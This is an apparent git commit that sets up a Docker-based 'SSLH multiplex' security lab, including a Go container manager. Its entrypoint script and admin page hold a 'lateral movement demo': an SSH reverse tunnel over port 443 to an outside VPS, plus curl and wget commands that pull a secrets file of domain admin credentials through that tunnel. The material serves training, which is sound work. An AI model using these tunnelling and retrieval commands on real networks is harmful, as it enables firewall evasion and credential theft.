Initial code commit

This commit is contained in:
Warezpeddler
2026-01-29 00:03:02 +00:00
commit 8f35bb7ec8
38 changed files with 6039 additions and 0 deletions

View File

@@ -0,0 +1,35 @@
FROM ubuntu:22.04
# Prevent interactive prompts during package installation
ENV DEBIAN_FRONTEND=noninteractive
# Configure apt to be faster and more reliable
RUN echo 'Acquire::http::Timeout "30";' > /etc/apt/apt.conf.d/99timeout && \
echo 'Acquire::Retries "3";' >> /etc/apt/apt.conf.d/99timeout && \
echo 'Acquire::http::Pipeline-Depth "0";' >> /etc/apt/apt.conf.d/99timeout
# Update package lists and install packages in a single layer for better caching
# Use --no-install-recommends to reduce image size and installation time
# Group packages to optimize download
RUN apt-get update && \
apt-get install -y --no-install-recommends \
openssh-client \
wireguard-tools \
curl \
wget \
dnsutils \
iptables \
bash \
samba-client \
nginx-light \
iproute2 \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* \
&& mkdir -p /var/log/nginx /var/www/html /etc/nginx/sites-available /etc/nginx/sites-enabled \
&& chown -R www-data:www-data /var/www/html /var/log/nginx 2>/dev/null || true
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["/bin/bash"]

View File

@@ -0,0 +1,24 @@
services:
sslh-lab-client:
build:
context: .
dockerfile: Dockerfile
container_name: sslh-lab-client
network_mode: bridge
cap_add:
- NET_ADMIN
volumes:
- ./wireguard:/wireguard:ro
- ./keys:/keys:ro
- ./server-info.txt:/server-info.txt:ro
- ./secrets.txt:/secrets.txt:ro
stdin_open: true
tty: true
privileged: false
dns:
- 8.8.8.8
- 1.1.1.1
- 8.8.4.4
dns_search: []
dns_opt:
- use-vc

View File

@@ -0,0 +1,386 @@
#!/bin/sh
# Don't use set -e as we want to continue even if some commands fail
# Force use of public DNS servers to avoid Docker DNS cache issues
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
# Using public DNS ensures fresh lookups
cat > /etc/resolv.conf <<EOF
nameserver 8.8.8.8
nameserver 1.1.1.1
nameserver 8.8.4.4
EOF
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
# Use REJECT instead of DROP so connections fail immediately
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
# Test DNS resolution to ensure it works
if ! nslookup google.com >/dev/null 2>&1; then
echo "Warning: DNS resolution test failed. DNS may not be working properly."
fi
# Clear DNS cache if nscd is available
if command -v nscd >/dev/null 2>&1; then
nscd -i hosts 2>/dev/null || true
nscd -i passwd 2>/dev/null || true
nscd -i group 2>/dev/null || true
fi
# Force DNS refresh by clearing any local DNS cache
# This ensures subdomain resolution works immediately
if [ -f /etc/nsswitch.conf ]; then
# Ensure hosts: files dns is set for proper DNS resolution
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
fi
fi
# Test DNS resolution for common domains to verify DNS is working
echo "Testing DNS resolution..."
if nslookup google.com >/dev/null 2>&1; then
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
else
echo "WARNING: DNS resolution test failed"
fi
# Function to start nginx HTTP server
start_http_server() {
if command -v nginx >/dev/null 2>&1; then
# Create web root directory
mkdir -p /var/www/html
# Create nginx configuration for port 8888
# Create sites-available directory if it doesn't exist
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
# Create a minimal nginx config that works
# Use default_server to ensure it's used
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
server {
listen 127.0.0.1:8888 default_server;
server_name localhost;
root /var/www/html;
index index.html;
access_log /var/log/nginx/lab-access.log;
error_log /var/log/nginx/lab-error.log;
# Ensure we can serve files
location / {
try_files $uri $uri/ =404;
}
# Serve secrets.txt as plain text
location /secrets.txt {
default_type text/plain;
try_files $uri =404;
}
}
NGINX
# Enable the site
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
# Ensure nginx main config includes sites-enabled
# Ubuntu nginx-light should already have this, but verify and fix if needed
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
# Backup original config
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
# Add include directive in http block
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
/^[[:space:]]*include[[:space:]]*mime.types/a\
include /etc/nginx/sites-enabled/*;
}
}' /etc/nginx/nginx.conf 2>/dev/null || \
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
fi
# Create admin page
cat > /var/www/html/index.html <<'HTML'
<!DOCTYPE html>
<html>
<head>
<title>Lab Admin Panel</title>
<meta charset="utf-8">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
margin: 0;
padding: 20px;
color: #333;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
border-radius: 10px;
padding: 30px;
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
}
h1 {
color: #667eea;
border-bottom: 3px solid #764ba2;
padding-bottom: 10px;
}
.info-box {
background: #f5f5f5;
border-left: 4px solid #667eea;
padding: 15px;
margin: 20px 0;
border-radius: 5px;
}
.link {
display: inline-block;
margin: 10px 10px 10px 0;
padding: 10px 20px;
background: #667eea;
color: white;
text-decoration: none;
border-radius: 5px;
transition: background 0.3s;
}
.link:hover {
background: #764ba2;
}
code {
background: #f5f5f5;
padding: 2px 6px;
border-radius: 3px;
font-family: 'Courier New', monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Lab Admin Panel</h1>
<div class="info-box">
<h2>System Information</h2>
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
</div>
<div class="info-box">
<h2>Available Resources</h2>
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
<a href="/secrets.txt" class="link">View Secrets File</a>
</div>
<div class="info-box">
<h2>Lateral Movement Demo</h2>
<p>This demonstrates accessing container resources from a compromised VPS:</p>
<ol>
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
<li>Or browse: <code>curl http://localhost:2222/</code></li>
</ol>
</div>
</div>
</body>
</html>
HTML
# Copy secrets.txt to web root
if [ -f /secrets.txt ]; then
cp /secrets.txt /var/www/html/secrets.txt
else
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
fi
# Start nginx on port 8888
echo "Starting nginx on port 8888..."
# Create nginx log directory if it doesn't exist
mkdir -p /var/log/nginx
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
# Ensure nginx can write to log directory
chmod 755 /var/log/nginx 2>/dev/null || true
# Kill any existing nginx processes
pkill -9 nginx 2>/dev/null || true
sleep 1
# Test nginx configuration
nginx -t >/tmp/nginx-test.log 2>&1
TEST_RESULT=$?
if [ $TEST_RESULT -ne 0 ]; then
echo "ERROR: nginx configuration test failed"
cat /tmp/nginx-test.log
echo " Main config:"
cat /etc/nginx/nginx.conf | head -30
echo " Site config:"
cat /etc/nginx/sites-available/lab-server
return 1
fi
echo " Nginx configuration test passed"
# Start nginx as daemon
# Redirect stderr to capture any startup errors
nginx 2>/tmp/nginx-start-err.log || {
echo "ERROR: nginx failed to start (exit code: $?)"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
}
# Wait for nginx to fully start and verify it's running
for i in 1 2 3 4 5; do
if pgrep -x nginx >/dev/null 2>&1; then
break
fi
if [ $i -eq 5 ]; then
echo "ERROR: nginx process not found after start attempts"
cat /tmp/nginx-start-err.log 2>/dev/null || true
cat /var/log/nginx/error.log 2>/dev/null || true
return 1
fi
sleep 1
done
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
# Wait a bit more for nginx to fully initialize and bind to port
sleep 2
# Verify nginx master and worker processes
NGINX_COUNT=$(pgrep -x nginx | wc -l)
if [ "$NGINX_COUNT" -lt 2 ]; then
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
fi
# Verify it's listening on port 8888
LISTENING=0
if command -v ss >/dev/null 2>&1; then
if ss -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
elif command -v netstat >/dev/null 2>&1; then
if netstat -ln 2>/dev/null | grep -q ":8888"; then
LISTENING=1
fi
fi
if [ "$LISTENING" -eq 1 ]; then
echo "HTTP server (nginx) started on 127.0.0.1:8888"
echo " Admin page: http://127.0.0.1:8888/"
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
# Test that it actually responds with retries
if command -v curl >/dev/null 2>&1; then
RESPONDING=0
for i in 1 2 3; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
if echo "$HTTP_CODE" | grep -qE "200|404"; then
RESPONDING=1
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
break
fi
sleep 1
done
if [ "$RESPONDING" -eq 0 ]; then
echo " WARNING: Server listening but not responding to HTTP requests"
echo " Test: curl -v http://127.0.0.1:8888/"
fi
fi
return 0
else
echo "WARNING: nginx is running but not listening on port 8888"
echo " Process status:"
pgrep -a nginx || true
echo " Listening ports:"
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
echo " Error log:"
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
return 1
fi
else
echo "ERROR: nginx not available"
return 1
fi
}
# Start lightweight HTTP server on localhost:8888
# This serves a demo admin page and secrets.txt via reverse tunnel
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
# Ensure secrets.txt exists
if [ ! -f /secrets.txt ]; then
echo "WARNING: /secrets.txt not found, creating placeholder"
echo "File not found - secrets.txt should be mounted" > /secrets.txt
fi
# Start the HTTP server (nginx)
echo "Starting HTTP server (nginx)..."
if start_http_server; then
echo "HTTP server ready for reverse tunnel access"
else
echo "ERROR: Failed to start HTTP server"
echo " Check logs: cat /var/log/nginx/error.log"
echo " Check nginx config: nginx -t"
echo " Check if port is in use: ss -ln | grep 8888"
fi
# Display connection examples
cat <<EOF
SSLH Multiplex Lab - Client Container
======================================
This container has restricted network access:
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
- Only UDP port 53 (outbound) is allowed - for DNS queries
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
Example connections:
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
- HTTPS: curl https://chaosengineering.cc
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
Troubleshooting DNS:
- If DNS resolution fails, use the server IP address directly
- Server information is available in: /server-info.txt
- Test DNS: nslookup google.com
- Check DNS config: cat /etc/resolv.conf
Example with IP (if DNS fails):
cat /server-info.txt
ssh testuser@<server-ip> -p 443
WireGuard configs are available in /wireguard/
SSH keys are available in /keys/
Domain admin credentials are available in /secrets.txt
Lateral Movement Demo:
- Establish SSH reverse shell to VPS:
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
- Keep that SSH session open (the tunnel stays active while connected)
- From the VPS shell:
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
- This demonstrates lateral movement: accessing container resources from compromised VPS
- Note: The reverse tunnel must stay active (keep SSH session open)
Troubleshooting:
- Verify server is running: ps aux | grep nginx
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
- Check server logs: cat /var/log/nginx/error.log
- Check nginx config: nginx -t
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
EOF
exec "$@"

166
internal/docker/manager.go Normal file
View File

@@ -0,0 +1,166 @@
package docker
import (
"fmt"
"os"
"os/exec"
"path/filepath"
)
type Manager struct {
ClientDir string
}
func NewManager(clientDir string) *Manager {
return &Manager{
ClientDir: clientDir,
}
}
func getComposeCommand() ([]string, error) {
// Try docker compose (v2) first
cmd := exec.Command("docker", "compose", "version")
if err := cmd.Run(); err == nil {
return []string{"docker", "compose"}, nil
}
// Fall back to docker-compose (v1)
cmd = exec.Command("docker-compose", "--version")
if err := cmd.Run(); err == nil {
return []string{"docker-compose"}, nil
}
return nil, fmt.Errorf("neither 'docker compose' nor 'docker-compose' is available. Please install Docker Compose")
}
func (m *Manager) Build() error {
dockerfilePath := filepath.Join(m.ClientDir, "Dockerfile")
if _, err := os.Stat(dockerfilePath); os.IsNotExist(err) {
return fmt.Errorf("Dockerfile not found at %s", dockerfilePath)
}
// Use docker-compose build to ensure it respects docker-compose.yml configuration
// and rebuilds when Dockerfile changes
composeCmd, err := getComposeCommand()
if err != nil {
// Fallback to docker build if compose is not available
cmd := exec.Command("docker", "build", "--no-cache", "-t", "sslh-lab-client", m.ClientDir)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to build Docker image: %w", err)
}
return nil
}
// Use docker-compose build which will rebuild if Dockerfile changed
args := append(composeCmd, "-f", filepath.Join(m.ClientDir, "docker-compose.yml"), "build", "--no-cache")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to build Docker image: %w", err)
}
return nil
}
func (m *Manager) Run() error {
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
}
composeCmd, err := getComposeCommand()
if err != nil {
return err
}
args := append(composeCmd, "-f", composeFile, "up", "-d")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to run Docker container: %w", err)
}
return nil
}
func (m *Manager) Stop() error {
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
}
composeCmd, err := getComposeCommand()
if err != nil {
return err
}
args := append(composeCmd, "-f", composeFile, "down")
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = m.ClientDir
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("failed to stop Docker container: %w", err)
}
return nil
}
func (m *Manager) Status() (string, error) {
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Status}}")
output, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("failed to check container status: %w", err)
}
return string(output), nil
}
func (m *Manager) IsRunning() bool {
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Names}}")
output, err := cmd.Output()
if err != nil {
return false
}
return len(output) > 0 && string(output) == "sslh-lab-client\n"
}
func (m *Manager) Connect(shell string) error {
if !m.IsRunning() {
return fmt.Errorf("container is not running. Start it first with 'sslh-lab client'")
}
cmd := exec.Command("docker", "exec", "-it", "sslh-lab-client", shell)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
// Exit code 255 is common when user exits normally (Ctrl+D or 'exit' command)
// Exit code 130 is common when user presses Ctrl+C
// These are not errors, just normal ways to disconnect
if exitError, ok := err.(*exec.ExitError); ok {
exitCode := exitError.ExitCode()
if exitCode == 255 || exitCode == 130 || exitCode == 0 {
return nil
}
}
// If err is nil (exit code 0), return nil
if err == nil {
return nil
}
// For other errors, return them
return err
}